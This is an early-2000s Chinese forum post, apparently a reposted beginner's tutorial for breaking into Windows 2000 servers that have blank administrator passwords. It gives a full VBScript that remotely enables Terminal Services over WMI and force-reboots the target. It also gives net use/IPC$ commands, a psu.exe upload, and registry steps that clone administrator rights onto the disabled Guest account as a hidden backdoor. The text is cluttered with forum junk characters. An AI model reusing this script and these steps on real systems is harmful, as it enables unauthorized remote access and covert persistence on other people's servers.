一次简单的3389入侵

firelinux

一次简单的3389入侵过程 原创：caozhe（草哲） 6 ], q- c3 Q/ A7 Z6 U; [4 f8 I来源：中国欲网技术论坛--草哲 ! n2 Q' o& |) k4 S 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ $ U8 C# e: S, x& Z 6 A$ U3 O6 M* b2 r8 ?, w. V- N7 t于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 要入侵，我建议你在win2000环境下来*作！ 5 A( @# ^' U2 t4 l1 } 首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ ; c$ R* l: u" D* P! {0 O扫描的X-Scan V2.3、WINNTAutoAttack、流光！ ; ~; d$ E! p: r9 ]% T, fX-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 4 ?4 p T$ G" j4 E7 C, X% J# B# {克隆帐户用个psu就可以了~！ 4 m6 V* `3 p+ \OK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 - Q$ X( E7 a& }$ q1 F运行CMD（2000下的DOS），我们给它开终端！ ! \7 h q% {0 z1 p( i命令如下！ cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） # G: i- A1 w; o$ I因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ 3 l0 E; M8 H# E5 k! _3 G3 p0 u 7 J+ B" P+ z8 Y0 m2 |/ O0 _" |4 n) @一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 1 Y, q4 Y6 N0 {9 p; Y% m4 a. i安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ 4 `" ?! H* \/ p( l 回到DOS下！我们建立IPC$连接！ 2 t( P, E" x Tnet use \\120.0.0.1\ipc$ "" /user:"administrator" 这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ ' q1 \8 U4 b% U" Z 假设guest用户被禁用，我们就是要利用guest做后门帐户！ 9 D& q7 s) H5 B* E; ~/ X$ U) b在该服务器运行CMD，在命令行下输入 + g4 D4 s y. t# f7 t! ppsu -p regedit -i PID $ G* z5 {9 q9 g3 G & P2 h& \0 r- D- M! Z- a, s这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ 看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 那么，命令就是这样 psu -p regedit -i 5458 这样直接打开注册表，可以读取本地sam的信息。 打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ - b" T# a k9 yHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的类型，是if4，再看guest的是if5 好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 双击右侧的F，把刚复制的粘贴到里面！ 6 H; B* W; q8 [3 @% `, v' Z ^; E2 R, m 做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 ) ~9 R m9 @, Y和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 0 {; i+ e5 t9 k, i+ D# n打开CMD，在命令行下输入 : ?. F4 a" q8 J4 [, Rnet user guest password & u7 G i0 _ [7 X/ U1 r这条命令是给guest设置密码，后面的password就是密码 然后输入 " b. t6 t! [; b( `/ h# d& [net user guest /active:y 这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n / G$ u) { C3 z7 ~9 }上面的三行命令必须在DOS下执行！ 7 H& n0 ^% M0 ?! b, c ' w z! {, s) Z1 \2 L6 K4 f& ]OK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ 6 t: x* S; o A5 S+ H9 B% Y! B而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ 0 H1 K) P8 v% m8 Y5 Z; M ' |# ?# I$ R- Z4 b4 Q* s0 I1 |注销一下，用guest登陆吧！ 1 L# Z6 `' v- u3 K ; j3 y7 V( e" j" [) j) ]打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ " R, b% w6 l! |9 S+ F如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ 因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ 7 k8 H! S" C/ f5 Q: B% ` 2 Q6 w7 O* ]1 y+ L5 o9 u# t9 V" ?---------------------------------------------------------------------- 4 y7 Y, d' S/ S, W; a9 E4 X+ s以下是开终端的脚本，把它存为*.vbe 3 c. S6 N2 J! A6 Xon error resume next set outstreem=wscript.stdout 3 F' }9 C) k. \3 oset instreem=wscript.stdin + g: J5 a. r0 P0 K& N6 f3 Iif (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") - l' W' |' M8 L' A# V: N$ [+ q0 v objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit * I [1 k$ n! t O' k2 I6 N0 Wend if ( P- h& E( d$ p: Y- N- K% }if wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." , w9 C, Y: g2 f wscript.quit + `4 {/ ?2 m4 q4 H; yend if ; F# w" x4 x9 z, E / q1 a" x* i D3 Z1 Pipaddress=wscript.arguments(0) $ K1 K, }3 A' U' s3 h2 G3 d2 ?username=wscript.arguments(1) 5 C `6 o! Q1 g) Q: Vpassword=wscript.arguments(2) ; I9 n* q l" I% W/ R6 Z3 t4 kif wscript.arguments.count>3 then port=wscript.arguments(3) $ Z2 i( `9 u- h8 Eelse port=3389 end if if not isnumeric(port) or port<1 or port>65000 then ) A6 m! v' e* }2 j wscript.echo "The number of port is error." $ V0 n% ~* x% G8 Y" n wscript.quit & R) T+ i# _0 n+ ?9 Jend if + f w a$ x+ a6 B S; R7 zif wscript.arguments.count>4 then reboot=wscript.arguments(4) else reboot="" end if ' {/ ?) c; Z6 i2 F" Susage() $ K6 L$ {; W/ A2 q7 t1 t( k# Joutstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") 7 F/ Y- ]) s; j/ u- mset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true * k- R8 w6 ?9 k3 Yobjswbemservices.security_.privileges.add 18,true * b2 s7 l v( R3 e" K# d) H1 F; r & V' @1 @9 h1 n" r zoutstreem.write "Checking OS type...." $ { C) d3 g/ y; Z P2 sset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then + b. b. k) s7 E: _( c: d S; h7 Z' q wscript.echo "OK!" else # A: L" N2 c6 k7 T$ P! m wscript.echo "OS type is "&objinstoscaption.caption / k3 t ^5 ]8 g9 ~, G3 H outstreem.write "Do you want to cancel setup?[y/n]" 3 @5 D) x2 W! G' F strcancel=instreem.readline 0 @- b$ a5 q9 r2 \# j0 G+ l if lcase(strcancel)<>"n" then wscript.quit 5 k7 ]( H+ f' S! b4 S4 a6 W end if next outstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" 0 ~4 q" h+ K9 ?: ]9 X0 N% J. E* U6 o.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 : J) `; S( i# m4 y1 ^: X" u+ x- n8 }1 I.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 ; |4 C! j1 h1 S7 `! E.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with showerror(err.number) 1 X4 g! u9 z! |$ ?5 J rebt=lcase(reboot) ! y! ?* p$ t* P: z9 a' Q3 z" ]5 U2 Mflag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then outstreem.write "Now, reboot target...." $ G T' N' P5 D2 e- o% {7 p# y strwqlquery="select * from win32_operatingsystem where primary='true'" ' m- C0 u, j" ? set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances 1 ^% v; b& L0 \6 n' D- O6 T objinstance.win32shutdown(flag) next ' L, I* E, u/ T/ G showerror(err.number) . Z& u9 a4 l3 @4 y: P7 `else wscript.echo "You need to reboot target."&vbcrlf&"Then," ( Q; ?/ @. T$ }5 M- Jend if v6 P# h: @3 M! M# K1 bwscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber) 6 ~# }4 _/ H$ o+ x6 X$ yif errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." ; j; J, |: n" Z5 |7 E* f3 {. R if err.description <> "" then wscript.echo "Error description: "&err.description&"." / n) H; v: P: x, ]2 `1 v3 h* ^ end if wscript.quit ( H1 r8 l5 H+ ielse 8 j7 D8 E0 f' S3 b. g wscript.echo "OK!" & u4 L$ t$ S3 _end if 4 D/ _+ S3 O* Q5 _% iend function function usage() ; z/ {4 g0 d3 y( S! L6 C2 Z$ vwscript.echo string(79,"*") ' D L. C& l0 Q1 |3 R# B2 \wscript.echo "ROTS v1.05" , j% \' M5 j6 A) M0 Awscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" ' I$ y' T L. t3 J" v. _1 i" {wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." / v' Y* z3 a3 M2 y0 Ewscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." # m; V5 p9 d0 x7 J n0 ~wscript.echo string(79,"*")&vbcrlf end function 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
  E/ S/ D3 x4 l( m& K) w还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

  O* M( }: h5 V$ ?
/ |" R2 q3 D8 D8 R. K+ V; ]/ r! V) v

% h' V& N# ~. o& e9 u

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

; [' j7 s" |7 a- e

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。